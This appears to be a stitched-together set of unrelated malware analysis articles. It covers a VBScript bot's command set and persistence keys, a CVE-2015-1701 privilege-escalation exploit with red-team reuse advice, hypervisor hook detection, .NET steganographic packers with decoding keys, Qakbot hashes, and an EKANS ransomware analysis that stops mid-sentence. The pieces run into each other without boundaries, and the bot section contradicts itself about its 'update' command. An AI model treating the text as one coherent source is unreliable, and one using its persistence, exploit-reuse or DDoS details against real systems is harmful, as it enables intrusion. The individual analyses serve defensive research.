stumbles upon a relatively well-structured and “commented” piece of code with self-documenting names, particularly when the subject is malware. As well, the code reveals some important information about its creator. The author appears to have a problem with the past tense of irregular verbs such as to get or to send. In addition, several log entries use incorrect English language sentence construction, such as "Panel maybe die!". It could suggest that the author’s first language is not English; however, this may well be staged. The script initializes its variables such as Command and Control (C&C) addresses, various paths, and several objects that are used to interface system functions. Then, the script tries to install itself to the folder %APPDATA% under the names `<HWID>.vbs`, `g_<HWID>.vbs_w.vbs` (HWID being a random sequence of letters loaded from the registry or generated at startup), and possibly `<static_number_sequence>_log.txt` and relaunch itself from the %APPDATA% directory. After the initial installation, it checks whether another instance of the script is running. Persistence is key, so if only one instance is running, a task named ChromeUpdate is created to launch the first file on user log on. Also, multiple registry entries that launch the script at startup are created. Otherwise, the script quits. Once the script gets over the initialization, it has to ask the C&C servers for commands and process them. That is where a traditional event loop comes in. Verification that the script is located in the %APPDATA% directory has to be passed first; otherwise, agony is invoked six times before proceeding to the next iteration. Let us assume that this test has passed. Now the script sends a POST request with a rather long GET data string, e.g.: `os=Windows 10 Enterprise&user=Evzen@DEMO-PC&av=Avast AntivirusWindows Defender&7045Mb # Intel(R) Core(TM)CPU E5-2690 v4 @ 2.60GHz # Standard VGA Graphics Adapter&hwid=AABBccddEEFFGGhhiiJJKKLLm&x=64` The only fields that require some discussion are `_fw_` and `_hwid_`. "fw" describes the hardware (specifically RAM size # CPU info # GPU info), while "hwid" is a 25-character long random string generated at first launch and saved into the registry at `HKEY_CURRENT_USER\Software\ARRSSS`. The response contains a command. These commands have a very similar structure, and every command triggers a confirmation that is sent again as a POST request to the same address as a command request; however, the data string differs: - `ok=<zid>&hwid=<hwid>` in case of success - `error=<zid>&hwid=<hwid>` in case of an error The value `<zid>` is given by the command string. All available commands are listed below: | Command String | Action | |----------------|--------| | download `<url>!<zid>` | Download a file from `<url>` and execute it. | | update `update!<url>!<zid>` | Download a PE file from `<url>`, save it to %TEMP%, and execute it. | | plugin `plugin!<url>!<zid>` | Download a dll from `<url>`, save it to %TEMP%, and use RUNDLL32.exe to execute it. | | uninstall `uninstall!<data>!<zid>` | Replace dropped files and a log by a file with one whitespace. | | ddos `ddos!<url>!<count>` | Send `<count>` POST requests to `<url>`. | The denial-of-service (DDoS) attack that can be caused with the above command initiated by this script also carries some data. It seems that these attacks can be identified by the associated data, as all the scripts collected so far have the POST data hard-coded: `ufgiweugdiqwfgqofwg=325872346782356786426526349865923659` Now the script also ends up in several invocations of agony. The agony function serves three purposes. It checks whether the script is running in the installation directory. The result only affects which copy of the scripts is launched if no instance of `%APPDATA%\<HWID>.vbs` or `g_%APPDATA%\<HWID>.vbs_w.vbs` is running, and the log entry suggests that this is intended as a self-defense. Moreover, if the script is not named `<HWID>.vbs` and located in `%APPDATA%`, it overwrites its two files by `<static_number_sequence>_log.txt` and adds itself to startup through registry entries: - `HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\` - `HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\` - `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\` - `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` Every agony ends up with 500 milliseconds of a blissful Sleep, a function suspending the code execution for a given time. ## Version Progression A new version, discovered approximately a day after the described script’s release, brought several updates. In the new version, the payload is hidden beyond another .vbs file that acts as a downloader for the following stage. Moreover, its functions seem to have been refactored; for example, the agony function is now removed in favor of a simple Sleep, and the detection of an antivirus installed on the system is now hidden in a function called func15. Also, the script installs itself only to `%APPDATA%/<HWID>.vbs`, which simplifies checking for running instances, meaning that only one function is necessary for checking. The command structure is simplified to only include the functions download, update, and uninstall. The command update now expects a Visual Basic script, while update expects a Portable Executable (PE) file. The last significant addition is a new function called psCommand that, as expected, executes a command in PowerShell. Currently, this is only used in the initialization. ### VBS Decryptor: - `0089A6E7E92B75952F5C2E3A04A7AB65133F4CCA732BC96ECB0A34389D8FC7F4` (v1) - `Dae17df6225f05e99bf0e84b3a8438560befc7eb6bd07a7b4d4e451ec33b6a5f` (v2) ### VBS Control Panel: - `3011126B5210298D843D6D3B84143BE292633A4A7C0D14E947AE6BE11B74CE2F` (v1) - `676abca2210742e57b432558276b616b1e4e5286c772aed8c63efed230ff2430` (v2)
# WHITE PAPER ## MATRYOSHKA MINING ### Lessons from Operation RussianDoll, January 2016 By Michael Bailey --- ## Introduction This article provides a multi-faceted analysis of the exploit payload referenced in the FireEye Operation RussianDoll blog post. The information herein is intended for malware triage analysts, reverse engineers, and exploit analysts with a full understanding of x86 and basic experience with IDA, and provides tools and background information to recognize and analyze other, future exploits. This article goes on to discuss how red team analysts can apply these principles to carve out exploit functionality or augment exploits to produce tools that will enhance operational effectiveness. We will study the exploit for CVE-2015-1701 embedded within the unobfuscated 64-bit RussianDoll payload (MD5 hash 54656d7ae9f6b89413d5b20704b43b10). If you don’t have a copy of this particular binary, you can follow along with an open-source proof of concept (varying in its details, but having similar functionality). We’ll first walk through the payload and see how to loosely identify what it does once it has gained kernel privilege. Then, we’ll discuss how to get higher-resolution answers from reverse engineering by using WinDbg to confirm assumptions, manipulate control flow, and observe exploit behavior. Building on this and other published sources, we’ll assemble a technically detailed exploit analysis by examining the relevant portions of win32k.sys. Finally, we’ll close by discussing how to extract and augment this exploit to load encrypted, unsigned drivers into the Windows 7 x64 kernel address space. ## Lay of the Land – Static Analysis with IDA We will first survey the lay of the land by static analysis with IDA. If you’re new to IDA, check out Skull Security’s 2010 blog about using IDA to dissect the Energizer Trojan. For a more in-depth treatment, Practical Malware Analysis is very instructive. Finally, MSDN offers a useful review of the x64 processor architecture. Our first lead has been given to us: an exploit in this sample gains SYSTEM privileges by abusing the CreateWindowEx API. So, we drop it into IDA and follow the p-type xref for CreateWindowExW and see that CreateWindowExW is referenced by a call instruction in the StartAddress thread routine. Microsoft’s documentation for CreateWindowEx indicates that the function will create an instance of the window class whose name is specified in its second argument, lpClassName, which in this case we can trace back to the string “TEST.” From here, we can also see that the window procedure is the callback sub_14001230. The window procedure is of particular interest because it is normally executed after unknown local variables, an unknown global variable, and an unknown function pointer. We find the initialization of dword_140012AFC by following the lone write xref to it. Hence, we rename dword_140012AFC to “currentPID” and move on to pursuing qword_140012AD8. We can see that the lpProcName argument to GetProcAddress is “PsLookupProcessByProcessId”; according to MSDN, PsLookupProcessByProcessId is exported by NtosKrnl.exe, making it a kernel routine. This lookup is preceded by a call to a subroutine that uses the undocumented NtQuerySystemInformation function to obtain module information for ntoskrnl.exe. The malware then calls LoadLibraryExA to load ntoskrnl.exe, calls GetProcAddress to find the address and the malware’s _EPROCESS block. What if there was no helpful lead? One sign is an unpacked binary containing strings referencing native API PsLookupProcessByProcessId. Looking this function up on MSDN showed that it is exported by ntoskrnl.exe, making it a kernel function. A reference to such a function constitutes a lead that should be followed. ## Beneath the Surface – Dynamic Analysis with WinDbg To observe the activity of a kernel privilege escalation exploit, our best bet is a kernel debugger such as WinDbg. WinDbg can invasively debug user-space malware and provides powerful tools to observe its activity in kernel space. MSDN provides extensive software and setup information regarding WinDbg. WARNING – Do not install or run malware without first setting up a safe environment. There at offset 0x208 is the Token. After the malware copies the token from the System process, the kernel’s Security Reference Monitor gives the malware SYSTEM-level access. Observing the escalation of privilege in action, however, takes a little more work. Static analysis reveals that the malware calls GetSidSubAuthority, checking against SECURITY_MANDATORY_LOW_RID. To induce the malware to escalate privilege, we’ll halt it before it slips past this check, lie to it about its access level, and catch it calling PsLookupProcessByProcessId. To catch the malware before it gets too far, we use an instrumented breakpoint to trigger before the Process Manager adds each process to the process list. To let nt!PspInsertProcess do its job, we continue until nt!PspInsertProcess returns to nt!NtCreateUserProcess, at which point our malware’s process object has been added to the process list. We could then copy the address of the process object and supply it to the /i (“invasive”) switch of the .process command, causing WinDbg to invasively debug the malware. We next set a user-space breakpoint on advapi32!GetSidSubAuthority, specifying the bp command’s /p (“process”) switch to break only when the malware calls this function. We run until GetSidSubAuthority returns into the malware’s code, and disassemble the code at the instruction pointer. Stepping through the low-integrity check, we see that we are about to compare the value of the register ecx with the hard-coded constant 1000h. To make the malware execute its exploit, we tell it that it is running in a low-integrity process by writing the value 1000h to ecx. We then set a process-specific breakpoint to trigger when the malware executes the kernel function nt!PsLookupProcessByProcessId, and the new breakpoint being activated by the malware privilege escalation code after execution is resumed. To confirm the privilege escalation, we examine the stack trace, which confirms that we caught the privilege escalation. As can be seen above, the malware sample’s module name appears in both user space and kernel space. This is how the malware manages to copy the access token from the System thread’s EPROCESS block into its own. ## Digging Deeper – Analysis of a win32k.sys Exploit TrendMicro has published an analysis of CVE-2015-1701. No doubt this is based on a much more technical analysis that touches on the intricacies of many Windows internals. Here, we observe the exploit’s interaction with win32k.sys to synthesize a more technically elaborate analysis of the vulnerability. Exploit analysis hinges on familiarizing oneself not only with the malicious sample at hand, but also the vulnerable software itself, which is the context in which an exploit does its work. In many cases, this can entail extensive reverse engineering. Recall that in the previous section, we saw win32k!xxxCreateWindowEx in the call stack at the time when the exploit achieved kernel execution. We can begin by finding the address of the tagWND structure and watching accesses to its bServerSideWindowProc flag and lpfnWndProc members to identify how the flag and window procedure arrive at the values they do. To get started with our analysis, we note that TrendMicro’s analysis alludes to a “Server Side Window Proc” flag. Literature can be found discussing the role of the server-side window procedure flag within the window object. The SetOrClrWF function generically sets or clears window flags. Pausing to analyze SetOrClrWF, we find that the third argument dictates which flag is set, and 0x204 is the unique value for this argument that will induce SetOrClrWF to set the bServerSideWindowProc flag. From the call stack, we can see that the malware calls SetWindowLongPtr, which is responsible for ultimately causing bServerSideWindowProc to become set. Further analysis shows that the malware uses this member named KernelCallbackTable to set its window procedure to the default window procedure. We can learn the name of the function whose address was overwritten by inspecting the callback table and looking for the malicious function in the callback table, then comparing this with a normal callback table. Using the offset 58h, we can use the dps (“Display words and Symbols”) command in WinDbg to examine the relevant callbacks. Judging by the presence of NULL pointers and the nomenclature of symbol names within the table, we can infer that there are 105 (69h) callbacks in the table. We can quickly search through win32k.sys for symbols named like ClientCopyImage with WinDbg. Doing so, we find only one symbol with a name similar to ClientCopyImage, namely xxxClientCopyImage. At this point, we’ve watched bServerSideWindowProc and worked backwards to assemble three key facts about the exploit’s interaction with win32k.sys: - The exploit hooks the _ClientCopyImage callback before xxxCreateWindowEx begins its work. - xxxCreateWindowEx calls xxxCreateWindowSmIcon, which in turn transitions back to user mode and calls the hooked _ClientCopyImage function. - xxxCreateWindowEx indirectly called a user-controlled pointer that can be hooked by a malicious application. In the absence of any public analysis or knowledge of what we are looking at, how do we come to these conclusions independently? The specifics of analyzing a particular exploit will vary, but it is hoped that the techniques employed above can help you build hypotheses, confirm them, and move on to the subsequent step of your analysis. ## Striking Gold – Building Red Team Tools If you are a red team operator, you may be asked to safely extract an exploit from a malware sample in order to escalate privileges or circumvent controls in a particular scenario. There is evidence to suggest that the developers of the Operation RussianDoll payload have borrowed source code from many public references. Red team operators can likewise apply code reuse to augment exploits such as this into even more powerful capabilities. Depending on the sophistication of the controls and processes in your client’s organization, this can be a valuable way to advance the goals of your operation while improving the detection, prevention, and response capabilities of that group. ## Conclusion In this analysis, we shared tools and techniques that defensive security professionals can use to conduct enhanced analysis of malware, and discussed the steps necessary for red team analysts to synthesize powerful offensive tools based on malware used by advanced persistent threat actors. Understanding the mechanics and impact of these threats is the next step in systematically discovering and deflecting the coming wave of advanced attacks.
# Detecting Hypervisor-assisted Hooking I recently started to experiment with hypervisors and their use for bypassing anti-cheat or anti-tampering systems. This post will describe the concept of hypervisor-assisted hooking and a few simple approaches to detect such hooks. ## What is a hypervisor? In short: A hypervisor allows running virtual machines with hardware acceleration. The concept of hypervisors in general is a huge topic, but for this post, all that depth doesn’t really matter. The way virtualization is done using a hypervisor is by abstracting certain critical components, such as privileged instructions or memory. This allows uncritical instructions to run on real hardware, while privileged operations can be intercepted and virtualized. ## How is memory virtualized? In modern hypervisor technologies, for example Intel VT-X or AMD-V, memory is virtualized by adding “Second Level Address Translation” (SLAT). When resolving a virtual memory address to physical space in RAM, the translation is not only done once by the kernel, but a second time by the hypervisor. That way, memory of virtual machines can be controlled by the host. Intel calls this functionality “Extended Page Tables” (EPT), while AMD refers to it as “Nested Page Tables” (NPT). This technology, however, is not limited to running virtual machines, because the CPU does not distinguish between host OS and virtualized OS; the hypervisor decides that. Therefore, all kinds of memory can be virtualized, including memory of the host OS. ## How does hypervisor-assisted hooking work? The idea of hypervisor-assisted hooking is to redirect code execution from a virtual page to a different physical page than reads or writes to the same virtual page. I’m going to focus on Intel’s EPT technology. A description of how this works for AMD can be found in other resources. However, due to limitations, the technique is by far not as powerful on AMD. Address translation is done using tables that describe where virtual memory pages reside in physical memory. Those pages can have certain permissions: they can be executable, readable, or writable, or any combination of those three. If a page is readable but not executable, any kind of execution will trigger an exception. However, with EPT, this address translation happens a second time in the hypervisor. The permissions also need to be valid there. Meaning if a page is readable and executable in the first level of translation, but not in the second level, a “VM exit” will be triggered upon execution. This will exit the VM and pass execution to a handler that was previously registered by the hypervisor. This handler can then decide how to proceed with this error. To abuse this behavior to install stealth hooks, we first need to clone the physical page. That way, there will be an original page and a fake page that will contain all our modifications. By marking the entry in the page table as non-executable, we will be able to intercept executions to that page in the VM exit handler of our hypervisor. The handler can then replace the reference to the physical page with our fake page and re-trigger the execution. However, once the CPU tries to read (or write) that memory, it would read our fake page. To prevent that, permissions of the page are marked as execute-only. That way, reads and writes will trigger a VM-exit again, which allows swapping in the original page. By marking this one as no-execute, the hypervisor can continuously swap our fake page in and out to hide it from any kind of memory-based integrity check. ## Is it possible to detect such hooks? Usually, hooks or any kind of memory manipulations are detected by reading memory and comparing it to what it is supposed to look like, for example by hashing it. With an EPT hook, those reads will always go to the original unmodified page and never reveal any manipulation. Therefore, using conventional integrity checks will not work. Of course, trying to detect the driver or hypervisor in general is a viable way. However, not every hypervisor is necessarily evil and installs EPT hooks. Microsoft’s hypervisor (Hyper-V) is usually active on modern Windows systems to assert kernel integrity (HyperGuard). So detecting EPT hooks here would result in a false positive. Additionally, the hypervisor can hide itself from the list of loaded drivers using EPT hooks, making it invisible. Instead, I tried detecting EPT hooks using side channels, so for example by trying to observe the effects of a VM exit. Essentially, I came up with three different methods: ### Write Check The first method is pretty weak but works with many open-source hypervisors. It essentially abuses the fact that most hypervisors don’t reflect memory writes in their fake page. This means if a write happens to the virtual page, it will be performed on the original physical page, but the fake physical page won’t contain the change. To detect an EPT hook by writing to a page, we first need to find a spot on that page that is safe to write to. When compiling code, modern compilers usually align code of a function to 16 bytes. Meaning, in between two functions, there are often quite a few unused bytes that serve no purpose except aligning the next function. Those bytes are usually nops (0x90) or software breakpoints (int 3, 0xCC). Therefore, searching for two or more consecutive CC instructions often reveals unused space. Executing such a CC instruction will result in an exception. This exception can be caught using exception handlers or using Microsoft’s __try/__finally constructs. We can now overwrite this instruction and replace it with, for example, a return instruction (0xC3). Without EPT hooks, executing the new instruction will not yield any exception. If an exception still occurs, it is very likely that an EPT hook is installed with a hypervisor that does not reflect writes to the fake page. However, this check can be extended. Writing to memory on one core should yield the same result on a different one (on Intel). As hypervisors are installed per core, writes need to be reflected not only to the fake page of one core but also to pages maintained by different cores. Therefore, spawning a few threads and executing the written 0xC3 instruction can also reveal EPT hooks. ### Timing Check This mechanism abuses the fact that VM exits and page swaps take time. The idea is to create an execution pattern that triggers VM exits due to EPT violations and measure the execution. First, we need to find something we can easily execute. Searching for a return instruction (0xC3) in the target page will allow us to execute this instruction as a function and measure the time. To measure the time, we will use the RDTSC instruction which will return the current CPU ticks. Once this is ready, the check will measure timing of two patterns: 1. Repeatedly reading the same instruction without executing it 2. Alternating executions and reads of the same instruction Reading the instruction without executing it should be quite fast, even with EPT hooks installed, because there is no need to page in any page over and over again, as it was already paged in during the first read. Doing a warmup can even optimize the result. If an EPT hook is present on the page, alternating between executions and reads to the page will cause a VM exit and thus a page swap every time. This takes time. If no EPT hook is present, this should take about twice as long as just reading the memory. ### Thread Check This check improves upon the previous mechanism. Again, timing of reads vs. alternating executions/reads is measured and evaluated. However, instead of relying on RDTSC as a clock, time is measured by synchronizing two threads and letting them race. For example, by incrementing a counter on one thread while another thread performs the task to be measured. To reduce the probability of context switches, it is possible to bind the two threads to different physical cores using SetThreadAffinityMask. Additionally, SetThreadPriority can be used to further reduce the probability of context switches. Even if the probability of false positives is quite high here, the probability of false negatives is low. Meaning if no EPT hook was detected, it is unlikely there is one installed on the checked page. Averaging out the times of multiple checks can yield very reliable results. Additionally, it is definitely not trivial to mitigate this check for a hypervisor. Therefore, I consider this to be the best of the three approaches. ## Summary The mechanisms described here show the possibility to detect EPT hooks from user mode, without the need for elevated privileges. One thing to remember is, they only scan a single page. Checking the entire executable address space of a process can get very costly but might be desirable in a real-world application. Still, this shows that ways to detect EPT hooks exist. In the end, however, it remains a cat and mouse game.
# Commodity .NET Packers use Embedded Images to Hide Payloads Most malware is distributed in "packed" form: typically an executable containing code to evade antivirus detection and sandboxes before extracting and executing the intended payload. There are many commodity packers written in Microsoft .NET, usually but not always containing malware also written in .NET. We discuss two prevalent such packers used to distribute a wide variety of malware but hiding the intended payload in images. ## Steganography Steganography is the technique of sending hidden messages in apparently innocent forms. For hiding data in images, the main techniques are: - Store the hidden data at the end of an image file - Store the hidden data within the image metadata (e.g., EXIF) - Store the hidden data within the actual pixel data To be truly "hidden," the latter would arguably mean using only the least significant bits of the data so that the image appears "normal" when rendered. The packers discussed here generally use the entire image pixel data so aren't truly "hidden"; if they were displayed, the images would appear random. ### "CyaX" packer In this packer, the .NET executable contains a square PNG image in a .NET resource, which is typically a large proportion of the whole file size. The image can be decoded to an intermediate executable, which contains a .NET resource that can be decoded to the payload. Sometimes the intermediate executable uses an additional commodity packer such as ConfuserEx or .NET Reactor. #### Details The first stage payload is decoded from the Blue, Green, Red, and Alpha (BGRA) channels taking pixels in columns. Some versions use Red, Green, and Blue (RGB) channels instead. For example, in sample SHA256 - 026b38e8eb0e4f505dc5601246143e7e77bbd2630b91df50622e7a14e0728675: Using channels BGRA from the image we get data starting: In general, the extracted data is then XORed with a short XOR key or the first 16 bytes of the data and possibly decompressed with gzip, yielding an intermediate stage .NET executable. For the above sample, the XOR key is (in hex) "74 43 74 17 74 02 74 23 74", which gives the executable. This intermediate stage is often itself packed with ConfuserEx, but after unpacking that, it contains a .NET resource which contains the payload, typically XORed with two keys: a short (often truncated Unicode) one, followed by a 16-byte key stored at the start of the resulting file. In the above sample, the intermediate executable is packed with .NET Reactor. After deobfuscation with a tool such as de4dot, the deobfuscated executable contains a resource "2EJp1.resources" which starts: XORing with key "00 77 00 55 00 6c 00 59 00 71 00 79 00 4e" ("wUlYqyNZJIbjVN" in Unicode, truncated to half the length) and then XORing with the first 16 bytes of the result gives the payload, Agent Tesla (a prevalent information stealer) in this case. In some early versions of this packer, this .NET resource was named "CyaX_Sharp.Properties.Resources.resources," hence the name we have given to this packer family. ### Gzip variant As mentioned above, some samples use the Red, Green, and Blue (RGB) channels, and some compress the intermediate executable with gzip. For example, in sample SHA256 - 083521fa4522245adc968b1b7dd18da29b193fd41572114c9d7dd927918234ea: The image uses RGB channels which decode to: XORing with key (in hex) "24 04 33" gives: which is a 4-byte DWORD containing the uncompressed file size, followed by a gzip-ed file, starting with a 10-byte gzip header, which decompresses to the intermediate .NET executable. This contains a .NET resource "d2o6x4FhIdl.resources" starting: which when XORed with keys "00 66 00 43 00 73 00 6b 00 62 00 67 00" ("fCskbgkLbLArI" in Unicode, truncated) and then "07 2e 8c d5 50 23 1b e3 be be 38 4f 0f 4b 8d ca" gives: which contains the payload, Agent Tesla again. ### Steganographic variant In a recent variation of this packer, the first stage payload is actually stored in a second PNG image extracted from the least significant bits of the Red, Green, and Blue channels in the first image, taking pixels in rows (so "proper" steganography in this case). The intermediate stage .NET executable is then extracted from the Blue, Green, Red, and Alpha channels of the second image with pixels taken in columns, without XOR this time. For example, in sample SHA256 – 04794ec7e7eb5c6611aada660fb1716a91e01503fb4703c7d2f2099c089c9017: The image has RGB channels and, taking pixels by rows first rather than columns, leads to: (There is also an Alpha channel, with all values set to 0xff.) Taking groups of 8 bytes and then the least significant bits in reverse order gives us (for example "ff 01 00 ff 01 00 fe 01" -> "10011011" -> 0x9b): This is a file size stored in a DWORD (0x1e09b) followed by the second PNG image. Using BGRA and columns first, this decodes to: which contains a .NET resource "biGzxmYEphCl": which when XORed with "4c 00 6b 00 74 00 79 00 54 00 65 00 66 00 65 00" ("LktyTefe" in Unicode) gives the payload, which in this case is Remcos RAT. ### "Hectobmp" packer In this packer, the .NET executable contains typically several hundred small images in .NET resources, which each contain a part of the payload and need to be reassembled in the correct order. Earlier versions used the BMP file format, and later versions have switched to using PNG. The name we have given to this packer comes from "hecto-" from the metric system prefix for a hundred. #### Details For example, in sample SHA256 – 0091c6bdceecf3e0143b4eaaefca1cd56cbfdfc55f99c167f9dd1f3a48928bb5: which contains 135 images, the first image decodes, using Green, Red and Blue channels, rows first, to: This includes the start of a Windows executable. The size of the chunk extracted from each image is stored in the first four bytes (DWORD), 0x30d in this case, less 15, and the required chunk of data starts at the 6th byte. The chunks need to be assembled in numerical order of the resource names, which is different from the alphabetical order they appear in the file which is: and the order they are referenced in the .NET metadata which is: The reassembled payload in this case is Loki Bot Stealer. In the following sample, SHA256 – 09c8cbd9cdfda1fcb7c6a051887213dc3e3ccf00a5877eca3d3e374f077b98d5, the images are BMPs and the first one looks like: The image decodes to the following, with chunk size highlighted in green, chunk data highlighted in yellow and blue: In this case, when assembled from the images, the payload is compressed using zlib Deflate, starting at byte 0xb0, highlighted in blue. Decompressing gives: which again is Agent Tesla in this case. ## Conclusion Generally, packers have different features that allow them to circumvent detection mechanisms by appearing as benign files, being difficult to reverse engineer, or incorporating sandbox evasion techniques. In this blog, we've looked at two packers which use embedded images to hide the payload, one using a single image and the other using hundreds of them. These are just a few of the many tools threat actors have at their disposal to aid in distributing malware, collecting sensitive information, and gaining unauthorized access to systems. ## IOCs | IOC | Type | Description | |-----------------------------------------------------------------------------------------------|--------|--------------------------------------------------| | 026b38e8eb0e4f505dc5601246143e7e77bbd2630b91df50622e7a14e0728675 | SHA256 | CyaX PNG sample with channels BGRA | | c8c79ba04ab76c96db913f05b4b5bab36e7e0148fd72148df170a4be94d879a3 | SHA256 | Agent Tesla payload in 026b38e8eb0e4f505dc5601246143e7e77bbd2630b | | 083521fa4522245adc968b1b7dd18da29b193fd41572114c9d7dd927918234ea | SHA256 | CyaX PNG sample with gzipped data | | a6f7edd2654412c25d7c565cb5b52e1382799a8b86d6bc44e965b554f6344618 | SHA256 | Agent Tesla payload in 083521fa4522245adc968b1b7dd18da29b193fd415 | | 04794ec7e7eb5c6611aada660fb1716a91e01503fb4703c7d2f2099c089c9017 | SHA256 | CyaX PNG sample with double steganography | | 6d9c861bf6f1495a4bddc7c745eb5b504692b4d6eae31e89453f0829760b1b90 | SHA256 | Remcos RAT payload in 04794ec7e7eb5c6611aada660fb1716a91e01503fb4 | | 0091c6bdceecf3e0143b4eaaefca1cd56cbfdfc55f99c167f9dd1f3a48928bb5 | SHA256 | Hectobmp sample with PNGs | | 1180c158968faaf0a4951e9a0c59996f0fb29cdad9443aa2097efb5bc7f123f4 | SHA256 | Loki Bot payload in 0091c6bdceecf3e0143b4eaaefca1cd56cbfdfc55f99 | | 09c8cbd9cdfda1fcb7c6a051887213dc3e3ccf00a5877eca3d3e374f077b98d5 | SHA256 | Hectobmp sample with BMPs | | c3b85d8291281d73cfdd8373cb2b32cdc4c3a602233f99ab3cbbd34bd4e3c99b | SHA256 | Agent Tesla payload in 09c8cbd9cdfda1fcb7c6a051887213dc3e3ccf00a587 | ## References - De4dot - ILSpy - Agent Tesla: A day in a life of IR, Full description of an Agent Tesla campaign using CyaX packer (steganographic variant)
# W32.Qakbot aka W32/Pinkslipbot W32.Qakbot is a worm that has been seen spreading through network shares, removable drives, and infected webpages, and infecting computers since mid-2009. Its primary purpose is to steal online banking account information from compromised computers. The malware controllers use the stolen information to access client accounts within various financial service websites with the intent of moving currency to accounts from which they can withdraw funds. It employs a classic keylogger, but is unique in that it also steals active session authentication tokens and then piggybacks on the existing online banking sessions. It then quickly uses that information for malicious purposes. ## General File Information - **MD5**: 076bc0533d63826e1e809ad9fcbe2fb8 - **SHA1**: 33d9b4a712c29304478da235f17cd28978a93d2f - **File size**: 55808 bytes - **Type**: PE32 exe - **Distribution**: mostly web (worm - spreads through shares, drives, webpages etc) - **MD5**: 120d845ac973b4a0cde2bc88d8530b3d - **SHA1**: 120d845ac973b4a0cde2bc88d8530b3d - **File size**: 87040 bytes - **Type**: PE32 exe - **Distribution**: mostly web (worm - spreads through shares, drives, webpages etc) - **MD5**: 150d006eab34528e3305fbbb5ad82164 - **SHA1**: 551a9f3ce5b86cf77df90eda61be233c821be6b2 - **File size**: 267776 bytes - **Type**: PE32 exe - **Distribution**: mostly web (worm - spreads through shares, drives, webpages etc) ## Automated Scans - **File name**: 076bc0533d63826e1e809ad9fcbe2fb8 - **Submission date**: 2011-01-04 17:47:53 (UTC) - **Result**: 38 /41 (92.7%) ### Compact Print results - **AhnLab-V3**: Win-Trojan/Injector.55808.U - **AntiVir**: TR/PSW.Qbot.aff - **Antiy-AVL**: Trojan/Win32.Qbot.gen - **Avast**: Win32:Oficla-BS - **AVG**: PSW.Generic8.AJKY - **BitDefender**: Gen:Variant.Kazy.517 - **F-Secure**: Gen:Variant.Kazy.517 - **Microsoft**: Backdoor:Win32/Qakbot.gen!A - **Symantec**: Infostealer ## Additional Information - **MD5**: 120d845ac973b4a0cde2bc88d8530b3d - **Submission date**: 2010-10-21 10:29:23 (UTC) - **Result**: 34 /42 (81.0%) ### Compact Print results - **AhnLab-V3**: Dropper/Win32.Drooptroop - **AntiVir**: TR/Irux.A - **Avast**: Win32:Crypt-HTA - **F-Secure**: Trojan.Generic.4934134 - **Microsoft**: Backdoor:Win32/Qakbot.gen!A - **Symantec**: W32.Qakbot - **MD5**: 150d006eab34528e3305fbbb5ad82164 - **Submission date**: 2011-02-24 01:01:36 (UTC) - **Result**: 40 /43 (93.0%) ### Compact Print results - **AhnLab-V3**: Win32/Ircbot.worm.variant - **AntiVir**: BDS/Bot.130361 - **Avast**: Win32:Oficla-AR - **F-Secure**: Backdoor.Bot.130361 - **Microsoft**: Backdoor:Win32/Qakbot.gen!A - **Symantec**: W32.Qakbot
# EKANS Ransomware: A Malware Targeting OT ICS Systems According to the 2020 Verizon Data Breach Investigations Report, ransomware accounted for 27% of malware incidents in 2019. This may not seem like a lot, but when you think of the impact it has on an organization, you can understand why it’s often the malware that makes the news headlines. Over the last few years, the impact has worsened due to adversaries moving to a more targeted attack method, rather than the traditional “spray and pray” method of infecting as many potential victims as possible. This up-front investment in time and resources has shown to be fruitful for attackers, especially as they focus on specific industries, with healthcare as well as states and local governments emerging as high-profile targets during the course of 2020. The latest industry targeted with ransomware is Industrial Control Systems/Operational Technology. This blog will break down at a high level the latest EKANS ransomware, general TTP trends, and related protections for targeted ransomware attacks. **Affected platforms:** Windows Operating Systems **Impacted parties:** Industrial Control Systems and a variety of applications **Impact:** Data Encryption for Impact – Mitre ID:T1486 **Severity level:** High ## EKANS Ransomware Through one of our trusted partnerships, FortiGuard Labs was provided with an EKANS sample to analyze around the end of May. A more recent June version was independently sourced by FortiGuard Labs. **MD5** May Variant: 47EBE9F8F5F73F07D456EC12BB49C75D June Variant: ED3C05BDE9F0EA0F1321355B03AC42D0 **SHA256** May Variant: 2ED3E37608E65BE8B6E8C59F8C93240BD0EFE9A60C08C21F4889C00EB6082D74 June Variant: D4DA69E424241C291C173C8B3756639C654432706E7DEF5025A649730868C4A1 Each of these samples are written in the GO programming language. The GO programming language first appeared around 2009 and has slowly gained popularity within the malware community. ### The Difficulty of Analyzing EKANS Malware - “Go”ing to Create a Custom IDA Plugin One of the advantages of GO is that the code can be easily compiled to work on different platforms and architectures, such as MacOS, Microsoft Windows, and the Linux operating system when compared to other programming languages. One of the disadvantages, however, is that the binaries are noticeably larger in size. A simple “Hello World” program can produce a binary 1 MB in size. To combat bulky file sizes, GO allows a programmer to strip binaries during compilation. Most of the information that gets removed is typically used by debuggers. As it turns out, this size problem is actually helpful to malware authors. By having a larger file size, manual analysis will inevitably take longer. Moreover, it can easily be overlooked since typical malware files have a much smaller file size in the first place. By stripping the binaries of debugging information, malware analysts will have another stumbling block to overcome. Looking at the given files closer, we can see that they are indeed stripped and offer no clues for the malware analyst. The typical malware may have hundreds of functions, and some will already be recognized in the malware analysis industry’s unofficial default disassembler, IDA. With stripped GO binaries, however, IDA is unable to recognize normal library files, leaving the malware analyst with more than 5000 functions to sift through. Because of this problem, we developed an EKANS-specific IDA plugin in-house to help with analysis in conjunction with other GO-specific analysis techniques. As can be seen above, there are over 2100 encrypted strings, almost 2400 obfuscated function names, and over 1200 strings that needed fixing in the May variant of EKANS. Both of these variants perform all of the typical ransomware activities you would expect, such as encrypting files and leaving a ransom note telling the victim to contact them at a specified email address to receive instructions on how to pay a ransom and decrypt their files. But they also perform actions that are not so typical. Below is a high-level list of these activities in sequence, with the main notable difference of turning off the host firewall, found in the June variant: - Confirms Target Environment - Isolates the Infected System (Host Firewall) - The public RSA Key used in the file encryption process is decoded - Identifies and Stops Specific Services and Processes - Deletes Shadow Copy - Encrypts Files - Turns Off Host Firewall It is important to note that turning off the host firewall seems to have been a new addition to the malware family’s functionality. This was not present in the older May variant. Another interesting addition was to turn on the firewall before encrypting, probably to detect AVs and other defense solutions by blocking any communication from the agent. ### Confirming the Target Environment for EKANS Ransomware The ransomware starts out by attempting to confirm its target by resolving the domain belonging to the victim’s company, as well as comparing the resolved domain to a specific IP. If the domain/IP is not available, the routine exits. Looking deeper into the 